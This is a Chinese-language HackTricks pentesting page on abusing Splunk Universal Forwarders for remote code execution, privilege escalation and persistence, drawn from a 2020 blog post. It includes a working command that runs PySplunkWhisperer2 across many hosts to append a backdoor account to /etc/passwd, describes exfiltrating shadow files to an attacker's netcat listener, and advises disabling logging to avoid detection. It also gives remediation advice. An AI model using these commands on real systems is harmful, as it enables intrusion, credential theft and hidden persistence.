14 KiB
Splunk LPE 和持久性
通过 htARTE (HackTricks AWS 红队专家)从零开始学习 AWS 黑客攻击!
支持 HackTricks 的其他方式:
- 如果您想在 HackTricks 中看到您的公司广告或下载 HackTricks 的 PDF,请查看订阅计划!
- 获取官方 PEASS & HackTricks 商品
- 发现PEASS 家族,我们的独家NFTs收藏
- 加入 💬 Discord 群组 或 telegram 群组 或在 Twitter 🐦 上关注我 @carlospolopm。
- 通过向 HackTricks 和 HackTricks Cloud github 仓库提交 PR 来分享您的黑客技巧。
如果您在内部或外部对机器进行枚举时发现运行着Splunk(端口 8090),如果您幸运地知道任何有效的凭据,您可以滥用 Splunk 服务来执行 shell作为运行 Splunk 的用户。如果是 root 在运行它,您可以将权限提升到 root。
此外,如果您已经是 root 并且 Splunk 服务没有仅在 localhost 上监听,您可以窃取 Splunk 服务的密码文件,并破解密码,或者向其中添加新凭据。并在主机上保持持久性。
在下面的第一张图片中,您可以看到 Splunkd 网页的外观。
以下信息来自 https://eapolsniper.github.io/2020/08/14/Abusing-Splunk-Forwarders-For-RCE-And-Persistence/
滥用 Splunk Forwarders 以获取 Shell 和持久性
2020年8月14日
描述:
Splunk Universal Forwarder Agent(UF)允许经过身份验证的远程用户通过 Splunk API 向代理发送单个命令或脚本。UF 代理不验证连接是否来自有效的 Splunk Enterprise 服务器,也不验证代码是否已签名或以其他方式证明来自 Splunk Enterprise 服务器。这允许攻击者获得 UF 代理密码的权限在服务器上以 SYSTEM 或 root 身份运行任意代码,具体取决于操作系统。
渗透测试人员正在使用此攻击,并且恶意攻击者可能正在积极地在野外利用此攻击。获得密码可能导致客户环境中数百个系统的妥协。
Splunk UF 密码相对容易获取,有关详细信息,请参见常见密码位置部分。
背景:
Splunk 是一个数据聚合和搜索工具,通常用作安全信息和事件监控(SIEM)系统。Splunk Enterprise Server 是一个在服务器上运行的 Web 应用程序,有称为 Universal Forwarders 的代理安装在网络中的每个系统上。Splunk 为 Windows、Linux、Mac 和 Unix 提供代理二进制文件。许多组织使用 Syslog 将数据发送到 Splunk,而不是在 Linux/Unix 主机上安装代理,但代理安装越来越受欢迎。
Universal Forwarder 可以在每个主机上通过 https://host:8089 访问。访问任何受保护的 API 调用,例如 /service/,会弹出一个基本认证框。用户名始终是 admin,密码默认曾经是 changeme,直到 2016 年 Splunk 要求任何新安装设置 8 个字符或更高的密码。正如您在我的演示中注意到的,复杂性不是要求,因为我的代理密码是 12345678。远程攻击者可以在没有锁定的情况下暴力破解密码,这是日志主机的必要条件,因为如果账户被锁定,那么日志将不再发送到 Splunk 服务器,攻击者可以使用此来隐藏他们的攻击。以下屏幕截图显示了 Universal Forwarder 代理,此初始页面无需认证即可访问,并可用于枚举运行 Splunk Universal Forwarder 的主机。
Splunk 文档显示使用相同的 Universal Forwarding 密码用于所有代理,我不确定这是否是要求,或者是否可以为每个代理设置单独的密码,但基于文档和我作为 Splunk 管理员的记忆,我相信所有代理必须使用相同的密码。这意味着如果在一个系统上找到或破解了密码,它很可能适用于所有 Splunk UF 主机。这是我的个人经验,允许快速妥协数百个主机。
常见密码位置:
在网络上,我经常在以下位置找到 Splunk Universal Forwarding 代理的明文密码:
- Active Directory Sysvol/domain.com/Scripts 目录。管理员将可执行文件和密码存放在一起,以便高效地安装代理。
- 托管 IT 安装文件的网络文件共享
- 内部网络上的 Wiki 或其他构建注释存储库
密码也可以在 Windows 主机的 Program Files\Splunk\etc\passwd 和 Linux 和 Unix 主机的 /opt/Splunk/etc/passwd 中以哈希形式访问。攻击者可以尝试使用 Hashcat 破解密码,或者租用云破解环境以增加破解哈希的可能性。密码是强大的 SHA-256 哈希,因此不太可能破解强大、随机的密码。
影响:
拥有 Splunk Universal Forward Agent 密码的攻击者可以完全妥协网络中的所有 Splunk 主机,并在每个主机上获得 SYSTEM 或 root 级别的权限。我已经成功地在 Windows、Linux 和 Solaris Unix 主机上使用了 Splunk 代理。这种漏洞可能允许系统凭据被转储、敏感数据被窃取或安装勒索软件。这种漏洞快速、易于使用且可靠。
由于 Splunk 处理日志,攻击者可以在第一次运行命令时重新配置 Universal Forwarder 以更改 Forwarder 位置,禁用对 Splunk SIEM 的日志记录。这将大大降低被客户端蓝队发现的机会。
Splunk Universal Forwarder 经常安装在域控制器上以收集日志,这可以轻松地让攻击者提取 NTDS 文件、禁用杀毒软件以进行进一步利用和/或修改域。
最后,Universal Forwarding Agent 不需要许可证,并且可以单独配置密码。因此,攻击者可以在主机上安装 Universal Forwarder 作为后门持久性机制,因为它是一个合法的应用程序,即使是那些不使用 Splunk 的客户,也不太可能将其删除。
证据:
为了展示一个利用示例,我使用最新版本的 Splunk Enterprise Server 和 Universal Forwarding 代理设置了一个测试环境。共附加了 10 张图片到本报告中,显示以下内容:
1- 通过 PySplunkWhisper2 请求 /etc/passwd 文件
2- 通过 Netcat 在攻击者系统上接收 /etc/passwd 文件
3- 通过 PySplunkWhisper2 请求 /etc/shadow 文件
4- 通过 Netcat 在攻击者系统上接收 /etc/shadow 文件
5- 将用户 attacker007 添加到 /etc/passwd 文件中
6- 将用户 attacker007 添加到 /etc/shadow 文件中
7- 接收新的 /etc/shadow 文件,显示成功添加了 attacker007
8- 确认使用 attacker007 账户通过 SSH 访问受害者
9- 添加一个后门 root 账户,用户名为 root007,uid/gid 设置为 0
10- 使用 attacker007 确认 SSH 访问,然后使用 root007 升级到 root
此时,我通过 Splunk 和创建的两个用户账户持久地访问了主机,其中一个提供了 root。我可以禁用远程日志记录以掩盖我的行踪,并继续使用这个主机攻击系统和网络。
编写 PySplunkWhisperer2 脚本非常简单且有效。
- 创建一个文件,其中包含您想要利用的主机的 IP,示例名称 ip.txt
- 运行以下命令:
for i in `cat ip.txt`; do python PySplunkWhisperer2_remote.py --host $i --port 8089 --username admin --password "12345678" --payload "echo 'attacker007:x:1003:1003::/home/:/bin/bash' >> /etc/passwd" --lhost 192.168.42.51;done
主机信息:
Splunk Enterprise Server:192.168.42.114
Splunk Forwarder Agent 受害者:192.168.42.98
攻击者:192.168.42.51
Splunk Enterprise 版本:8.0.5(截至 2020 年 8 月 12 日实验室设置当天的最新版本)
Universal Forwarder 版本:8.0.5(截至 2020 年 8 月 12 日实验室设置当天的最新版本)
Splunk, Inc 的修复建议:
我建议实施以下所有解决方案以提供深度防御:
- 理想情况下,Universal Forwarder 代理根本不会开放端口,而是会定期轮询 Splunk 服务器以获取指令。
- 在客户端和服务器之间启用 TLS 双向认证,并为每个客户端使用单独的密钥。这将在所有 Splunk 服务之间提供非常高的双向安全性。TLS 双向认证在代理和物联网设备中得到了大量实施,这是受信任设备客户端到服务器通信的未来。
- 将所有代码、单行或脚本文件发送在由 Splunk 服务器加密和签名的压缩文件中。这不保护通过 API 发送的代理数据,但可以防止第三方恶意远程代码执行。
Splunk 客户的修复建议:
- 确保为 Splunk 代理设置非常强的密码。我建议至少使用 15 个字符的随机密码,但由于这些密码从不输入,因此可以设置为非常长的密码,例如 50 个字符。
- 配置基于主机的防火墙,只允许 Splunk 服务器连接到 8089/TCP 端口(Universal Forwarder 代理的端口)。
红队的建议:
- 下载每个操作系统的 Splunk Universal Forwarder 副本,因为它是一个很好的轻量级签名植入物。好在 Splunk 实际修复此问题的情况下保留一份副本。
其他研究人员的漏洞/博客
可用的公共漏洞:
- https://github.com/cnotin/SplunkWhisperer2/tree/master/PySplunkWhisperer2
- https://www.exploit-db.com/exploits/46238
- https://www.exploit-db.com/exploits/46487
相关博客文章:
- https://clement.notin.org/blog/2019/02/25/Splunk-Universal-Forwarder-Hijacking-2-SplunkWhisperer2/
- https://medium.com/@airman604/splunk-universal-forwarder-hijacking-5899c3e0e6b2
- https://www.hurricanelabs.com/splunk-tutorials/using-splunk-as-an-offensive-security-tool
** 注意:** 这个问题是 Splunk 系统的一个严重问题,多年来已被其他测试人员利用。虽然远程代码执行是 Splunk Universal Forwarder 的预期功能,但其实现方式却很危险。我试图通过 Splunk 的漏洞赏金计划提交这个漏洞,非常不可能他们不知道设计的影响,但被告知任何漏洞提交都实施 Bug Crowd/Splunk 披露政策,该政策规定在没有 Splunk 许可的情况下,不得公开讨论漏洞的任何细节。我请求了一个 90 天的披露时间表并被拒绝。因此,我没有负责任地披露这一点,因为我相当确定 Splunk 知道这个问题并选择忽略它,我觉得这可能严重影响公司,向企业界教育是信息安全社区的责任。
滥用 Splunk 查询
信息来自 https://blog.hrncirik.net/cve-2023-46214-analysis
CVE-2023-46214 允许将任意脚本上传到 $SPLUNK_HOME/bin/scripts
,然后解释说使用搜索查询 |runshellscript script_name.sh
可以执行存储在那里的脚本:
从零到英雄学习 AWS 黑客攻击,使用 htARTE (HackTricks AWS 红队专家)!
支持 HackTricks 的其他方式:
- 如果你想在 HackTricks 中看到你的公司广告或下载 HackTricks 的 PDF,请查看订阅计划!
- 获取官方 PEASS & HackTricks 商品
- 发现PEASS 家族,我们的独家NFTs系列
- 加入 💬 Discord 群组 或 telegram 群组 或在 Twitter 🐦 上关注我 @carlospolopm。
- 通过向 HackTricks 和 HackTricks Cloud github 仓库提交 PR 来分享你的黑客技巧。